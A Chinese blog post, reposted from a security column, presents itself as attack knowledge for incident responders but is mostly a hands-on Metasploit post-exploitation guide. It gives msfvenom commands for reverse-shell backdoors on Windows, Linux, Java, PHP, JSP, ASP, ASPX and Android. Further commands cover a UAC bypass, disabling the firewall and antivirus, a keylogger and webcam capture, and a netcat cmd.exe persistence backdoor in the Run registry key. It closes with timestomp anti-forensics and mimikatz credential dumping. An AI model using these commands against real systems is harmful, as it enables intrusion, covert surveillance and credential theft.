赞
踩
首发于freebuf Tidesec专栏,转载到个人博客记录一下。
不知攻,焉知防。作为安服攻城狮,在学习应急响应之前应该先了解黑客的常见攻击手段。一般黑客拿到主机的shell之后,需要留后门方便进行下一步的渗透。本文参考各路大佬,借助Metasploit执行一些getshell之后的常见操作,以备应急只需,新手学习,大神勿喷!
第一篇首先介绍通过msfgetshell后的常见基本操作。
首先开启msf,msfconsole
然后“show payloads”,查看所有可用的攻击载荷的信息。
针对几种典型后门进行介绍如下
(1)Windows后门,使用模块“windows/meterpreter/reverse_tcp”
操作命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146LPORT=44444 X >test.exe
参考链接:“https://www.0dayhack.com/post-147.html”
(2)linux后门,使用模块“linux/x86/meterpreter/shell_rverse_tcp”
操作命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.146LPORT=1234 X >text
参考链接:http://xiao106347.blog.163.com/blog/static/215992078201310253172937/
(3)java后门,使用模块“java/meterpreter/reverse_tcp”
操作命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234W >text.jar
(4)php后门,使用模块“php/meterpreter/reverse_tcp”
操作命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146LPORT=1234 -f raw >text.php
参考链接:http://www.111cn.net/phper/phpanqn/101228.htm
(5)jsp后门,使用模块“java/jsp_shell_reverse_tcp”
操作命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146LPORT=1234 R >text.jsp
参考连接:http://netsecurity.51cto.com/art/201406/442648.htm
(6)asp后门,使用模块“windows/meterpreter/reverse_tcp”
操作命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146LPORT=1234 -f asp > shell.asp
参考链接:http://www.ithao123.cn/content-10813776.html
(7)aspx后门,使用模块“windows/meterpreter/reverse_tcp”
操作命令:msfvenom -a x86 –platform win -p windows/meterpreter/reverse_tcpLHOST= 192.168.1.109 LPORT=7788 -f aspx x> /home/niexinming/back.aspx
参考链接:http://www.ithao123.cn/content-10813776.html
(8)android后门,使用模块“android/meterpreter/reverse_tcp”
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.146LPORT=1234 R >text.apk
针对Windows,绕过 UAC 的功能需在meterpreter 的shell 才能实现,常见攻击模块为“windows/meterpreter/reverse_tcp”,是一个简单的反弹shell程序,功能是反向连接shell,使用起来很稳定。当然也可以使用其它的攻击载荷,实现不同的功能。
首先在我们的kali-linux下生成一个木马程序,需要设置连接我们的IP和端口。新版本已经移除metasploit-framework版本中的msfencoder和msfpayload,并使用msfvenom取代。因此我们使用msfvenom一个木马程序 。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.133.130LPORT=4444 -f exe -o test.exe
生成的木马文件在当前系统目录下test.exe,当然也可以导出到指定目录。
操作命令解释:
msfvenom –>生成木马/文件的命令
windows/x64/meterpreter/reverse_tcp –>(生成)这样的一个木马程序,( 注意:含有x64只适用目标服务器为64位操作系统的,没有x64或者使用x86的只适用32位操作系统)
LHOST=192.168.2.146 –>设置本地IP地址
LPORT=44444 –>设置本地端口
-f, –>指定输出格式-o, –> 保存payload
test.exe –>生成的木马程序名字
具体解释参数如下:
-p,–payload <payload> 指定需要使用的payload(攻击荷载)
-l, –list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, –nopsled <length> 为payload预先指定一个NOP滑动长度
-f, –format <format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch <architecture> 指定payload的目标架构
–platform <platform> 指定payload的目标平台
-s, –space <length> 设定有效攻击荷载的最大长度
-b, –bad-chars <list> 设定规避字符集,比如: ‘\x00\xff’
-i, –iterations <count> 指定payload的编码次数
-c, –add-code <path> 指定一个附加的win32 shellcode文件
-x, –template <path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out <path> 保存payload
-v, –var-name <name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
进入MSF,启用监听,当被攻击者点击该木马或者已经启动该木马,即可触发后门,实现攻击,截图如下。
遇到虚拟机不能粘贴的问题,实现本机和虚拟机kali下文件的复制粘贴,请查考链接:https://blog.csdn.net/mengxiangjia_linxi/article/details/76711296,记得以管理员运行虚拟机。
默认情况下,如果尝试直接利用getuid 和 getsystem 命令来提权,出现如下状况,那会应该被系统UAC拦截(用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果)
我们来利用 meterpreter 的强大功能来进行绕过!
useexploit/windows/local/ask
show options
set session 1
exploit
当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过!现在我们再来通过 getuid 和 getsystem 命令来查看当前我们的 shell 权限,getshell。
也可以不需要诱导被攻击这点击,可以直接绕过,那就需要使用bypassuac程序。具体参考链接如下:
防火墙很烦人,执行命令关闭攻击主机的防火墙:netsh firewall set opmode disable,OK!
如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。
netsh firewall add portopening TCP 666“VMvare” ENABLE ALL
伪装成一个系统正常的进程,开启666端口进程名为VMvare,之后远程重启目标系统,并利用 NC 连接即可!
尝试关掉杀软:runkillav,好像关不掉最新版QQ安全管家
runpost/windows/manage/enable_rdp或者run getgui -e。
使用getgui(网络映射作用的脚本)添加用户,后期通过mimikatz获取管理员密码。
run getgui -u admin-p admin
使用“screenshot”命令来进行屏幕截图并存储在我们的系统之中,通过桌面发现一些杀软等信息。
uictl开关键盘/鼠标
uictl[enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disablemouse #禁用鼠标
uictl disablekeyboard #禁用键盘
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
webcam执行摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
如果是域控服务器的话,窃取及伪造域账户 token。
上传 NC 到目标系统:
upload /usr/share/windows-binaries/nc.exeC:\\windows\\system32
枚举注册表内容(开机启动)
reg enumkey -kHKLM\\software\\microsoft\\windows\\currentversion\\run
在该注册表增加内容(开机启动)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run-v nc -d “C:\windows\system32\nc.exe -Ldp 666 -e cmd.exe”
查看内容是否增加成功:
reg queryval -kHKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
下载sniffer,查看网口,然后抓包嗅探,将抓取的包保存为cap文件。
当然,本地也可以解包:
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap run
可以进行基于MACE时间的反电子取证(未测试成功):
timestomp -v secist.txt
查看当前目标文件 MACE 时间。
timestomp -f c:\\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件)
timestomp -v secist.txt
下载神器 mimikatz,获取被攻击计算机信息。
load mimikatz
msv (获取 hash 值)
ssp (获取明文信息)
wdigest (获取系统账户信息)
mimikatz_command -f a:: (必须要以错误的模块来让正确的模块显示)
mimikatz_command -f hash:: (获取目标 hash)
OK,到这里,针对本台计算机的基本入侵行为到此结束,下期将针对进场隐藏、免杀木马、木马封装、内网探测等进一步分析。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。